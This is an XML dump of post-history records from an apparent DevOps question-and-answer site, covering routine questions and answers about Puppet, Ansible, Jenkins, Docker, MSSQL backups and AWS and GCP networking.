  <row Id="30420" PostHistoryTypeId="3" PostId="10101" RevisionGUID="94426e69-f044-46de-aee9-b7cae6405586" CreationDate="2019-12-13T07:46:04.700" UserId="17276" Text="&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30421" PostHistoryTypeId="5" PostId="10092" RevisionGUID="d1cee573-3a8a-4415-a642-e435525d0b81" CreationDate="2019-12-13T09:36:59.210" UserId="354" Comment="Fixed spelling, grammar and formatting." Text="I am using:&#xD;&#xA;&#xD;&#xA;- Puppet server version: 1.2.0&#xD;&#xA;- Amazon Linux 2&#xD;&#xA;&#xD;&#xA;I have master and agent set in /etc/puppet/puppet.conf and currently I get back only the certificate for the master on the master. The agent's DNS name under [agent] and [main] is&#xD;&#xA;&#xD;&#xA;certname = doug2c.mylabserver.com&#xD;&#xA;&#xD;&#xA;but &#xD;&#xA;&#xD;&#xA;`puppet cert list -all`   returns:&#xD;&#xA;&#xD;&#xA;``` &#xD;&#xA;+ &quot;doug1c.mylabserver.com&quot; (SHA256) C2:AE:78:00:8D:EE:40:09:06:26:10:AD:82:47:58:26:C7:86:F5:A1:8A:D8:B1:BE:81:C2:AF:D1:70:F9:04:EF (alt names: &quot;DNS:doug1c.mylabserver.com&quot;, &quot;DNS:puppet&quot;, &quot;DNS:puppet.mylabserver.com&quot;)&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I tried useing find to locate where it was set to puppet with&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;find / -name doug1c&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;but that didn't work." ContentLicense="CC BY-SA 4.0" />
  <row Id="30422" PostHistoryTypeId="4" PostId="10092" RevisionGUID="d1cee573-3a8a-4415-a642-e435525d0b81" CreationDate="2019-12-13T09:36:59.210" UserId="354" Comment="Fixed spelling, grammar and formatting." Text="Where do I set that agent certificate for Puppet on Amazon Linux?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30423" PostHistoryTypeId="6" PostId="10092" RevisionGUID="d1cee573-3a8a-4415-a642-e435525d0b81" CreationDate="2019-12-13T09:36:59.210" UserId="354" Comment="Fixed spelling, grammar and formatting." Text="&lt;dns&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30424" PostHistoryTypeId="5" PostId="10101" RevisionGUID="0300a277-4f95-4aa0-8324-bc39fef8724b" CreationDate="2019-12-13T11:09:01.580" UserId="354" Comment="Fixed grammar and spelling" Text="I am using Puppet version 3.8.7 on Amazon Linux2, trying to find the directory containing the Puppet environments.&#xD;&#xA;&#xD;&#xA;I tried to find it with the `find` command looking for files named &quot;production&quot; or defaults, following the names used in a tutorial using ubuntu, but there is no production or default file or directory on the Amazon Linux as there is on ubuntu version.&#xD;&#xA;&#xD;&#xA;The distribution of Puppet I downloaded was&#xD;&#xA;&#xD;&#xA;http://yum.puppetlabs.com/puppetlabs-release-el-7.noarch.rpm&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30425" PostHistoryTypeId="4" PostId="10101" RevisionGUID="0300a277-4f95-4aa0-8324-bc39fef8724b" CreationDate="2019-12-13T11:09:01.580" UserId="354" Comment="Fixed grammar and spelling" Text="Where is Puppet's enviroments directory on Amazon Linux2?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30426" PostHistoryTypeId="6" PostId="10101" RevisionGUID="0300a277-4f95-4aa0-8324-bc39fef8724b" CreationDate="2019-12-13T11:09:01.580" UserId="354" Comment="Fixed grammar and spelling" Text="&lt;amazon-ec2&gt;&lt;linux&gt;&lt;puppet&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30427" PostHistoryTypeId="2" PostId="10102" RevisionGUID="6f71f956-c6f8-49b6-bf24-70d65f107627" CreationDate="2019-12-13T11:11:33.647" UserId="10715" Text="I am struggling to find a reasonable method to detect which of `python-pip` or `python3-pip` I should install depending on the contents of the `ansible_python` fact. This is on Debian and Ubuntu.&#xD;&#xA;&#xD;&#xA;Looking at `ansible_python` contents, I did not see anything that would let me correlate the Python version Ansible uses with the package name used to install _that_ Python version. So even though I could glean the path to the Python executable from the fact I don't see how to determine the package used to install it.&#xD;&#xA;&#xD;&#xA;The rationale is trying to avoid hardcoding stuff into my playbook. But failing everything else I'd also be willing to hardcode these _assumptions_ into my playbook. The &quot;best&quot; I've come up with so far was to use the `package_facts` module to collect the information on installed packages, then use `ansible_python.version.major` to pick from either `python-pip` or `python3-pip`, which still contains the assumptions: 1.) that `ansible_python.version.major==2` maps to `python-pip` and `ansible_python.version.major==3` maps to `python3-pip` and 2.) that `ansible_python.executable` does name either of the _packaged_ Python versions available in the `python` and `python3` packages respectively.&#xD;&#xA;&#xD;&#xA;Is there an objectively better way? Better isn't meant to elicit opinions here, anything getting rid of the implied assumptions qualifies as objectively better." ContentLicense="CC BY-SA 4.0" />
  <row Id="30428" PostHistoryTypeId="1" PostId="10102" RevisionGUID="6f71f956-c6f8-49b6-bf24-70d65f107627" CreationDate="2019-12-13T11:11:33.647" UserId="10715" Text="How to determine which packaged pip to install in order to run the Ansible pip module?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30429" PostHistoryTypeId="3" PostId="10102" RevisionGUID="6f71f956-c6f8-49b6-bf24-70d65f107627" CreationDate="2019-12-13T11:11:33.647" UserId="10715" Text="&lt;ansible&gt;&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30430" PostHistoryTypeId="5" PostId="9943" RevisionGUID="08926611-475a-4e1f-b6a0-df55f6e27130" CreationDate="2019-12-13T11:25:01.353" UserId="4557" Comment="I am accepting this as the answer after fixing the code snippet. " Text="There seems to be some syntax issues and also I would suggest to use `bash` instead if using `sh` shell.&#xD;&#xA;&#xD;&#xA;Try the below code and see if this works properly. &#xD;&#xA;(EDIT - Put shebang on first line to accept as answer)&#xD;&#xA;&#xD;&#xA;    sh label: 'Stop and Remove Old Docker Container', script: '''#!/usr/bin/env bash&#xD;&#xA;                    docker ps -a&#xD;&#xA;                    echo $APP_CONTAINER_NAME&#xD;&#xA;&#xD;&#xA;                    docker ps -a | grep $APP_CONTAINER_NAME || true&#xD;&#xA;                    status=(&quot;${PIPESTATUS[@]}&quot;)&#xD;&#xA;                    DOCKERCODE=${status[0]}&#xD;&#xA;                    GREPCODE=${status[1]}&#xD;&#xA;                    echo &quot;Docker Command Code: $DOCKERCODE&quot;&#xD;&#xA;&#xD;&#xA;                    echo &quot;Grep Command Code: $GREPCODE&quot;&#xD;&#xA;&#xD;&#xA;                    if [ $DOCKERCODE -eq 0 ]; then&#xD;&#xA;                        docker stop $APP_CONTAINER_NAME&#xD;&#xA;                        docker rm $APP_CONTAINER_NAME&#xD;&#xA;                    else&#xD;&#xA;                        echo &quot;WARNING: Docker command was empty or had an error&quot;&#xD;&#xA;                    fi&#xD;&#xA;                '''&#xD;&#xA;&#xD;&#xA;In the above code, I have made changes in the way you were trying to get output of command `docker ps -a | grep $APP_CONTAINER_NAME || true` using `PIPESTATUS` variable. &#xD;&#xA;Since `PIPESTATUS` is a special variable, it's value gets updated after every command, so you were not getting any value of `${PIPESTATUS[1]}`&#xD;&#xA;&#xD;&#xA;The other change I have made is fixing the syntax issue in the line `if [ $DOCKERCODE -eq 0 ] then;` to `if [ $DOCKERCODE -eq 0 ]; then`&#xD;&#xA;&#xD;&#xA;You can test out the code further." ContentLicense="CC BY-SA 4.0" />
  <row Id="30431" PostHistoryTypeId="24" PostId="9943" RevisionGUID="08926611-475a-4e1f-b6a0-df55f6e27130" CreationDate="2019-12-13T11:25:01.353" Comment="Proposed by 4557 approved by  edit id of 1126" ContentLicense="CC BY-SA 4.0" />
  <row Id="30432" PostHistoryTypeId="2" PostId="10103" RevisionGUID="28e10863-3f06-42f0-8069-fb5ade977f64" CreationDate="2019-12-13T12:00:42.650" UserId="10715" Text="Any specific reason that you aren't using [your own _real_ package repository](https://wiki.debian.org/DebianRepository/SetupWithReprepro)? If you use Ansible you seem to see the benefit of automating things, so this would be a natural step. And it would enable the appropriate installation order merely based on the dependency graph and the packages available. There are other tools as well for the job, but `reprepo` is easy to use and seems ideal for smaller scale package repositories.&#xD;&#xA;&#xD;&#xA;You don't give information about the system _on which_ this playbook fails. But the symptoms are rather clear. And none of that has anything to do with Ansible specifically.&#xD;&#xA;&#xD;&#xA;* `/home/local_repository/wireshark_3.0.5-1_amd64.deb` could not be installed because it requires _exactly_ `wireshark-qt (= 3.0.5-1)` (i.e. exactly that version of the `wireshark-qt` package)&#xD;&#xA;* `/home/local_repository/wireshark-qt_3.0.5-1_amd64.deb` (the dependency named in the previous item) failed because its dependency `libc6 (&gt;= 2.29)` was not available.&#xD;&#xA;&#xD;&#xA;In order to figure out what exactly is going on you would have had to give information about the system. However, I can tell you how you can find out more details.&#xD;&#xA;&#xD;&#xA;Simply use `apt-cache policy &lt;package-name&gt;` on both the dependencies (`wireshark-qt` and `libc`) to see which versions of the packages are at all available.&#xD;&#xA;&#xD;&#xA;If I were to guess your problem is that you attempt to install this on a system which is older than the prerequisites required for the packages you attempt to install. And trying to forcibly install a newer `libc` package is a really bad idea, given its role in the system. It could leave your system unusable.&#xD;&#xA;&#xD;&#xA;For example if you were attempting this on the current Debian 10 (i.e. currently [Buster][1]==stable), you can see in [this table](https://tracker.debian.org/pkg/glibc) (contents are bound to change, so I am including the screenshot) that alone the `libc6 (&gt;= 2.29)` prerequisite cannot be satisfied:&#xD;&#xA;&#xD;&#xA;[![Overview of libc versions on the various Debian releases][2]][2]&#xD;&#xA;&#xD;&#xA;Alternatively you can look [here](https://packages.debian.org/en/source/sid/glibc) and navigate between the current releases in the top right (at the time of this writing):&#xD;&#xA;&#xD;&#xA;[![Navigate between Debian release to see available package versions][3]][3]&#xD;&#xA;&#xD;&#xA;The first step to figure out whether there is a newer package available would be to look at the [package search](https://packages.debian.org/search?keywords=wireshark&amp;suite=buster-backports) for your current release. To find out what that is, use `lsb_release -a` (to see all information) or `lsb_release -cs` to see the short codename (e.g. `buster`).&#xD;&#xA;&#xD;&#xA;[Here is a similar overview for Ubuntu](https://packages.ubuntu.com/search?suite=default&amp;section=all&amp;arch=any&amp;keywords=wireshark&amp;searchon=names):&#xD;&#xA;&#xD;&#xA;[![Ubuntu package search for wireshark][4]][4]&#xD;&#xA;&#xD;&#xA;Looking at the package versions you attempt to install, I'd guess you are attempting to install the `eoan` (19.10) package on an older Ubuntu, am I right?&#xD;&#xA;&#xD;&#xA;You _could_ attempt to download the sources (`apt-get source &lt;package-name&gt;`) of the two packages in question (`wireshark` and `wireshark-qt`) and attempt to [build it yourself](https://wiki.debian.org/BuildingTutorial). If you're lucky you can build that new Wireshark version against whatever Qt and libc versions are included in your specific release. Arguably Qt (and _its_ dependencies) would be more likely to be an issue than libc.&#xD;&#xA;&#xD;&#xA;Alas, chances are that it will be easier to upgrade your system to upgrade your system to 19.10, wait ~4 months until `focal` aka Focal Fossa (Ubuntu 20.04) gets released or install a VM or container enabling you to run that newer Wireshark version.&#xD;&#xA;&#xD;&#xA;But again, none of that has anything to do with Ansible, except that you used Ansible to invoke the installation commands.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.debian.org/DebianBuster&#xD;&#xA;  [2]: https://i.stack.imgur.com/8VSJY.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/jwjng.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/fwTEH.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30433" PostHistoryTypeId="2" PostId="10104" RevisionGUID="2ec65e2e-6b5f-4a07-b84f-82f42d83cf3f" CreationDate="2019-12-13T13:16:10.740" UserId="7345" Text="I would like to take MSSQL server db backup. Is there any plugin available for it. " ContentLicense="CC BY-SA 4.0" />
  <row Id="30434" PostHistoryTypeId="1" PostId="10104" RevisionGUID="2ec65e2e-6b5f-4a07-b84f-82f42d83cf3f" CreationDate="2019-12-13T13:16:10.740" UserId="7345" Text="Database Backup using jenkins" ContentLicense="CC BY-SA 4.0" />
  <row Id="30435" PostHistoryTypeId="3" PostId="10104" RevisionGUID="2ec65e2e-6b5f-4a07-b84f-82f42d83cf3f" CreationDate="2019-12-13T13:16:10.740" UserId="7345" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;jenkins-plugins&gt;&lt;cicd&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30436" PostHistoryTypeId="4" PostId="9546" RevisionGUID="84795374-4ff6-4c39-b15d-bfe0a7018963" CreationDate="2019-12-13T14:33:41.793" UserId="10715" Comment="The only connection with Ansible is the fact that apt/apt-get/aptitude got invoked via Ansible. But this is definitely not an Ansible question. I think that it is - in fact - off-topic on this site." Text="How to resolve the dependencies while installing locally downloaded packages?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30437" PostHistoryTypeId="6" PostId="9546" RevisionGUID="84795374-4ff6-4c39-b15d-bfe0a7018963" CreationDate="2019-12-13T14:33:41.793" UserId="10715" Comment="The only connection with Ansible is the fact that apt/apt-get/aptitude got invoked via Ansible. But this is definitely not an Ansible question. I think that it is - in fact - off-topic on this site." Text="&lt;linux&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30438" PostHistoryTypeId="24" PostId="9546" RevisionGUID="84795374-4ff6-4c39-b15d-bfe0a7018963" CreationDate="2019-12-13T14:33:41.793" Comment="Proposed by 10715 approved by 354, 40 edit id of 1127" ContentLicense="CC BY-SA 4.0" />
  <row Id="30439" PostHistoryTypeId="2" PostId="10105" RevisionGUID="45fe56cf-151c-42d0-9a95-6e907ea96941" CreationDate="2019-12-13T14:42:08.947" UserId="15792" Text="I don't know of any current plugins for doing this.  That may because a lot of backup functionality is built into MSSQL.&#xD;&#xA;&#xD;&#xA;The easiest way to automate a backup via Jenkins may be to use a command line script to use a [sql command][1]:&#xD;&#xA;&lt;pre&gt;&lt;code&gt;Sqlcmd -E -S touch -Q&quot; BACKUP DATABASE [DBName] TO DISK = 'C:\artifact_directory\my_db_backup.BAK'&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&#xD;&#xA;You could also also avoid automating this via Jenkins and just create a [scheduled backup][2] directly within SQL Server.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/sql/relational-databases/backup-restore/create-a-full-database-backup-sql-server?view=sql-server-ver15&#xD;&#xA;  [2]: https://support.microsoft.com/en-us/help/2019698/how-to-schedule-and-automate-backups-of-sql-server-databases-in-sql-se" ContentLicense="CC BY-SA 4.0" />
  <row Id="30440" PostHistoryTypeId="2" PostId="10106" RevisionGUID="26d33db1-ca48-4cb2-9ff6-02fe0e8accb1" CreationDate="2019-12-13T18:36:21.007" UserId="18637" Text="I'm trying execute a job on know node by rundeck server, but when execute it was ignored and job run on server local (Rundeck Server).&#xD;&#xA;Anyone went through this situation? &#xD;&#xA;&#xD;&#xA; - Rundeck 3.1.3-20191204&#xD;&#xA; - Node configured in Project Setting&#xD;&#xA; - It's possible see the host in Node menu of Project&#xD;&#xA; - Rundeck server can access via ssh the node.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30441" PostHistoryTypeId="1" PostId="10106" RevisionGUID="26d33db1-ca48-4cb2-9ff6-02fe0e8accb1" CreationDate="2019-12-13T18:36:21.007" UserId="18637" Text="Rundeck ignoring node" ContentLicense="CC BY-SA 4.0" />
  <row Id="30442" PostHistoryTypeId="3" PostId="10106" RevisionGUID="26d33db1-ca48-4cb2-9ff6-02fe0e8accb1" CreationDate="2019-12-13T18:36:21.007" UserId="18637" Text="&lt;rundeck&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30443" PostHistoryTypeId="5" PostId="10103" RevisionGUID="588116dd-050a-4067-a117-a12d6db2764f" CreationDate="2019-12-13T19:08:16.637" UserId="10715" Comment="deleted 23 characters in body" Text="Any specific reason that you aren't using [your own _real_ package repository](https://wiki.debian.org/DebianRepository/SetupWithReprepro)? If you use Ansible you seem to see the benefit of automating things, so this would be a natural step. And it would enable the appropriate installation order merely based on the dependency graph and the packages available. There are other tools as well for the job, but `reprepo` is easy to use and seems ideal for smaller scale package repositories.&#xD;&#xA;&#xD;&#xA;You don't give information about the system _on which_ this playbook fails. But the symptoms are rather clear. And none of that has anything to do with Ansible specifically.&#xD;&#xA;&#xD;&#xA;* `/home/local_repository/wireshark_3.0.5-1_amd64.deb` could not be installed because it requires _exactly_ `wireshark-qt (= 3.0.5-1)` (i.e. exactly that version of the `wireshark-qt` package)&#xD;&#xA;* `/home/local_repository/wireshark-qt_3.0.5-1_amd64.deb` (the dependency named in the previous item) failed because its dependency `libc6 (&gt;= 2.29)` was not available.&#xD;&#xA;&#xD;&#xA;In order to figure out what exactly is going on you would have had to give information about the system. However, I can tell you how you can find out more details.&#xD;&#xA;&#xD;&#xA;Simply use `apt-cache policy &lt;package-name&gt;` on both the dependencies (`wireshark-qt` and `libc`) to see which versions of the packages are at all available.&#xD;&#xA;&#xD;&#xA;If I were to guess your problem is that you attempt to install this on a system which is older than the prerequisites required for the packages you attempt to install. And trying to forcibly install a newer `libc` package is a really bad idea, given its role in the system. It could leave your system unusable.&#xD;&#xA;&#xD;&#xA;For example if you were attempting this on the current Debian 10 (i.e. currently [Buster][1]==stable), you can see in [this table](https://tracker.debian.org/pkg/glibc) (contents are bound to change, so I am including the screenshot) that alone the `libc6 (&gt;= 2.29)` prerequisite cannot be satisfied:&#xD;&#xA;&#xD;&#xA;[![Overview of libc versions on the various Debian releases][2]][2]&#xD;&#xA;&#xD;&#xA;Alternatively you can look [here](https://packages.debian.org/en/source/sid/glibc) and navigate between the current releases in the top right (at the time of this writing):&#xD;&#xA;&#xD;&#xA;[![Navigate between Debian release to see available package versions][3]][3]&#xD;&#xA;&#xD;&#xA;The first step to figure out whether there is a newer package available would be to look at the [package search](https://packages.debian.org/search?keywords=wireshark&amp;suite=buster-backports) for your current release. To find out what that is, use `lsb_release -a` (to see all information) or `lsb_release -cs` to see the short codename (e.g. `buster`).&#xD;&#xA;&#xD;&#xA;[Here is a similar overview for Ubuntu](https://packages.ubuntu.com/search?suite=default&amp;section=all&amp;arch=any&amp;keywords=wireshark&amp;searchon=names):&#xD;&#xA;&#xD;&#xA;[![Ubuntu package search for wireshark][4]][4]&#xD;&#xA;&#xD;&#xA;Looking at the package versions you attempt to install, I'd guess you are attempting to install the `eoan` (19.10) package on an older Ubuntu, am I right?&#xD;&#xA;&#xD;&#xA;You _could_ attempt to download the sources (`apt-get source &lt;package-name&gt;`) of the two packages in question (`wireshark` and `wireshark-qt`) and attempt to [build it yourself](https://wiki.debian.org/BuildingTutorial). If you're lucky you can build that new Wireshark version against whatever Qt and libc versions are included in your specific release. Arguably Qt (and _its_ dependencies) would be more likely to be an issue than libc.&#xD;&#xA;&#xD;&#xA;Alas, chances are that it will be easier to upgrade your system to 19.10, wait ~4 months until `focal` aka Focal Fossa (Ubuntu 20.04) gets released or install a VM or container enabling you to run that newer Wireshark version.&#xD;&#xA;&#xD;&#xA;But again, none of that has anything to do with Ansible, except that you used Ansible to invoke the installation commands.&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.debian.org/DebianBuster&#xD;&#xA;  [2]: https://i.stack.imgur.com/8VSJY.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/jwjng.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/fwTEH.png" ContentLicense="CC BY-SA 4.0" />
  <row Id="30444" PostHistoryTypeId="2" PostId="10107" RevisionGUID="0b80e11d-cca4-4994-baa6-c9086901b70a" CreationDate="2019-12-13T19:14:48.457" UserId="18637" Text="You tried look on `/opt` or `/etc` probably the puppetlabs folder must be in one of these directories.&#xD;&#xA;Amazon Linux it's based on CentOS/RedHat family." ContentLicense="CC BY-SA 4.0" />
  <row Id="30445" PostHistoryTypeId="2" PostId="10108" RevisionGUID="46bb878f-f51a-4125-836f-bbd107daa259" CreationDate="2019-12-13T22:12:01.153" UserId="12138" Text="You can use the GCP `HTTP(S)` Load balancer. Since you are running a kubernetes cluster (Assuming you are using GKE), GKE uses Google compute VM instance groups which can be put behind a load balancer as target group.&#xD;&#xA;&#xD;&#xA;You can follow the below steps to setup a load balancer and put your kubernetes node behind a load balancer.&#xD;&#xA;&#xD;&#xA; 1. Login to GCP console and go to `NETWORKING` &gt; `Network Services` &gt; `Load balancing`&#xD;&#xA; 2. Click on `Create Load Balancer` at the top of the page.&#xD;&#xA; 3. Click on `Start Configuration` for `HTTP(s) Load balancing`&#xD;&#xA; 4. Select `From Internet to my VMs` if you want to access it from public internet and click `continue`&#xD;&#xA; 5. Give a `Name` to your load balancer&#xD;&#xA; 6. Click on `Backend Configuration` and Select `Backend services` (from drop down) &gt; `Create a backend service`&#xD;&#xA; 7. Give a name to backend service and select the other parameters appropriately. Select `Instance groups` in `Backend type`.&#xD;&#xA; 8. In the `New backend` section, select the kubernetes instance group name from the drop down. After selecting the proper instance group, you can enter the ports which will accept the requests. You can modify other things if required. At the end, click `Create`.&#xD;&#xA; 9. Next you can setup `Host and Path rules` if you need any.&#xD;&#xA; 10. Next, you have to configure `Frontend configuration` which will be your frontend to accept the requests on the port and send it to the backend target group which we configured in the step 8.&#xD;&#xA; 11. Once all the configurations are done, click on `Create` to create your load balancer.&#xD;&#xA;&#xD;&#xA;If everything was setup correctly, you should be able to access the contents from the load balancer endpoint.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30471" PostHistoryTypeId="2" PostId="10109" RevisionGUID="561586cd-8af6-474c-990e-e79fabc05e62" CreationDate="2019-12-14T02:52:20.973" UserId="896" Text="Hashicorp is usually quite quick in rolling out support for new AWS services. You can follow their blog regarding announcements for more such services in the future. For AWS:ReInvent 2019, they announced support during the reinvent week itself on Dec 04th, 2019. &#xD;&#xA;https://www.hashicorp.com/blog/hashicorp-re-invent-19-terraform-supports-newly-announced-aws-services" ContentLicense="CC BY-SA 4.0" />
  <row Id="30472" PostHistoryTypeId="5" PostId="10109" RevisionGUID="c440d444-e0dd-494c-a9ff-d9953ac4a28a" CreationDate="2019-12-14T03:15:55.347" UserId="896" Comment="added 93 characters in body" Text="Hashicorp is usually quite quick in rolling out support for new AWS services. You can also follow their blog regarding announcements for more such services in the future. Although it does not mention support for RDS Proxy yet, For other services announced during AWS:ReInvent 2019, they announced support during the reinvent week itself on Dec 04th, 2019. &#xD;&#xA;https://www.hashicorp.com/blog/hashicorp-re-invent-19-terraform-supports-newly-announced-aws-services" ContentLicense="CC BY-SA 4.0" />
  <row Id="30477" PostHistoryTypeId="2" PostId="10111" RevisionGUID="3d50098a-6afc-4a91-ba94-2bf3f8c62d3c" CreationDate="2019-12-14T19:23:42.963" UserId="18664" Text="How can I pass parameters from Jenkins to my Ansible playbook? Eg. I want to take IP address from users and pass it to the playbook so that it will execute only on those machines." ContentLicense="CC BY-SA 4.0" />
  <row Id="30478" PostHistoryTypeId="1" PostId="10111" RevisionGUID="3d50098a-6afc-4a91-ba94-2bf3f8c62d3c" CreationDate="2019-12-14T19:23:42.963" UserId="18664" Text="Passing parameters from Jenkins to Ansible playbook" ContentLicense="CC BY-SA 4.0" />
  <row Id="30479" PostHistoryTypeId="3" PostId="10111" RevisionGUID="3d50098a-6afc-4a91-ba94-2bf3f8c62d3c" CreationDate="2019-12-14T19:23:42.963" UserId="18664" Text="&lt;ansible&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30480" PostHistoryTypeId="5" PostId="10069" RevisionGUID="3ae1dffb-7bf9-431c-ae39-dab8ab1bfd79" CreationDate="2019-12-14T19:37:35.573" UserId="6131" Comment="Add context to define environments" Text="After searching and reading various documents it remains unclear to me as to an effective/straightforward manner to create/maintain multiple sets of GPG Keys.&#xD;&#xA;&#xD;&#xA;I have a project that needs unique GPG Keys per environment and each user has their own GPG Key. Thus each server (environment) needs unique GPG keys.&#xD;&#xA;&#xD;&#xA;I would envision the most secure and best practice is for each environment would have its own `gpg --gen-key` results for which to base its own private and public keys. From there an admin could add a user to each environment as needed.&#xD;&#xA;&#xD;&#xA;Or am I just missing the point all together?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30481" PostHistoryTypeId="50" PostId="8629" RevisionGUID="5abc0e39-81d3-4fe3-ac2f-655ebbaf3ddc" CreationDate="2019-12-14T21:00:50.467" UserId="-1" />
  <row Id="30482" PostHistoryTypeId="2" PostId="10112" RevisionGUID="a4d03eb5-3f66-4fe9-8d18-eeb29ce31022" CreationDate="2019-12-15T01:34:03.977" UserId="18666" Text="I watched a video series wherein the author used 3 private subnets for his Auto Scaling Group, and I also read the premium answer on this forum wherein the author says that you can use both public and private subnets in an Auto Scaling Group:&#xD;&#xA;&#xD;&#xA;https://acloud.guru/forums/aws-certified-solutions-architect-associate/discussion/-K_JalpbCBG_pUIbNc4k/vpc-private-subnet-and-autoscaling&#xD;&#xA;&#xD;&#xA;&gt; &quot;When you create the &quot;Auto Scaling Group&quot; you will specify your VPC&#xD;&#xA;&gt; and as many of the related &quot;Subnets&quot; that you want to launch instances&#xD;&#xA;&gt; into - it does not matter if they are private or public it is entirely&#xD;&#xA;&gt; up to how you have designed your solution.&quot;&#xD;&#xA;&#xD;&#xA;So I tried it. I use three private subnets in my Auto Scaling Group and the website does not load from the public DNS or the public IP. I notice the IP of the instance belongs to one of the private subnets, 10.0.4.135 (the subnet is 10.0.4.0). Also, the issue is not with Security Groups, because that instance above has a security group allowing all outbound traffic and inbound traffic from 80, 443 and 22.&#xD;&#xA;&#xD;&#xA;Now if I used 3 public subnets, then the site will load! So what's the difference? The private subnet uses a NAT Gateway and the public subnet uses an Internet Gateway. It makes sense that traffic CANNOT go to this private subnet since there is no internet gateway to it; that's the whole purpose of having a private subnet.&#xD;&#xA;&#xD;&#xA;So then why does the premium member state that an Auto Scaling Group can use both public and private subnets?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30483" PostHistoryTypeId="1" PostId="10112" RevisionGUID="a4d03eb5-3f66-4fe9-8d18-eeb29ce31022" CreationDate="2019-12-15T01:34:03.977" UserId="18666" Text="private subnets in an Auto Scaling Group on aws?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30484" PostHistoryTypeId="3" PostId="10112" RevisionGUID="a4d03eb5-3f66-4fe9-8d18-eeb29ce31022" CreationDate="2019-12-15T01:34:03.977" UserId="18666" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30485" PostHistoryTypeId="2" PostId="10113" RevisionGUID="b3b4749d-64b4-4173-8f8e-fde63e66a901" CreationDate="2019-12-15T06:51:16.720" UserId="18664" Text="What are the best practices to be followed wrt security when it comes to SSH authentication (password less, key based, etc.) when setting up Ansible in a new environment with 1000s of machines? Which is the best method of using passwordless SSH in an enterprise environment and why?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30486" PostHistoryTypeId="1" PostId="10113" RevisionGUID="b3b4749d-64b4-4173-8f8e-fde63e66a901" CreationDate="2019-12-15T06:51:16.720" UserId="18664" Text="Ansible SSH best practices" ContentLicense="CC BY-SA 4.0" />
  <row Id="30487" PostHistoryTypeId="3" PostId="10113" RevisionGUID="b3b4749d-64b4-4173-8f8e-fde63e66a901" CreationDate="2019-12-15T06:51:16.720" UserId="18664" Text="&lt;ansible&gt;&lt;security&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30488" PostHistoryTypeId="2" PostId="10114" RevisionGUID="80c29442-cc36-42e4-9109-9f54881d4c97" CreationDate="2019-12-15T06:51:28.080" UserId="18668" Text="I'm new to this community, so feel free to tell me if this is a dup or belongs in another SE.&#xD;&#xA;&#xD;&#xA;I am new to docker, and it's a really cool concept, but I'm struggling with the idea of packaging an app that will be updated later. Suppose, for example, that I've packaged an app that uses a postgres database that I included in the same container. When I build a new image going from postgres 11 to postgres 12, I need to migrate the data directory. How is that normally handled with docker?&#xD;&#xA;&#xD;&#xA;My example might be bad, because proper design would have the DB in another container, but suppose I want to upgrade that postgres image, does the new postgres image handle the migration automatically? Is there a common way to run a script when the image is upgraded?" ContentLicense="CC BY-SA 4.0" />
  <row Id="30489" PostHistoryTypeId="1" PostId="10114" RevisionGUID="80c29442-cc36-42e4-9109-9f54881d4c97" CreationDate="2019-12-15T06:51:28.080" UserId="18668" Text="Updating software in a docker container" ContentLicense="CC BY-SA 4.0" />
  <row Id="30490" PostHistoryTypeId="3" PostId="10114" RevisionGUID="80c29442-cc36-42e4-9109-9f54881d4c97" CreationDate="2019-12-15T06:51:28.080" UserId="18668" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="30491" PostHistoryTypeId="2" PostId="10115" RevisionGUID="9fe2d5d1-37e1-40c0-85ac-52eaaa508b04" CreationDate="2019-12-15T06:55:47.370" UserId="17579" Text="I'd set up my CI system to do this on every commit to `master`, that is, after the release branch merges.&#xD;&#xA;&#xD;&#xA;The first very straightforward reason for this is that the commit to `master` gets tagged with the release, and you want the thing you ultimately publish to match exactly the version of the source code at the tag.  While there shouldn't be any merge surprises if git flow is run perfectly, it's still better to publish the content of a tag and not the commit immediately before a merge.&#xD;&#xA;&#xD;&#xA;The second reason is that it is a very simple rule that can be automated.  If you do any amount of final testing on the release branch, you need to make a manual decision as to whether or not you can release or not; your CI system (probably) can't make that decision just based on the presence of a release branch.  On the other hand, since every commit to `master` is merging in a release (or hotfix) branch that you've fully validated, the commit itself is a signal that you're ready to release." ContentLicense="CC BY-SA 4.0" />
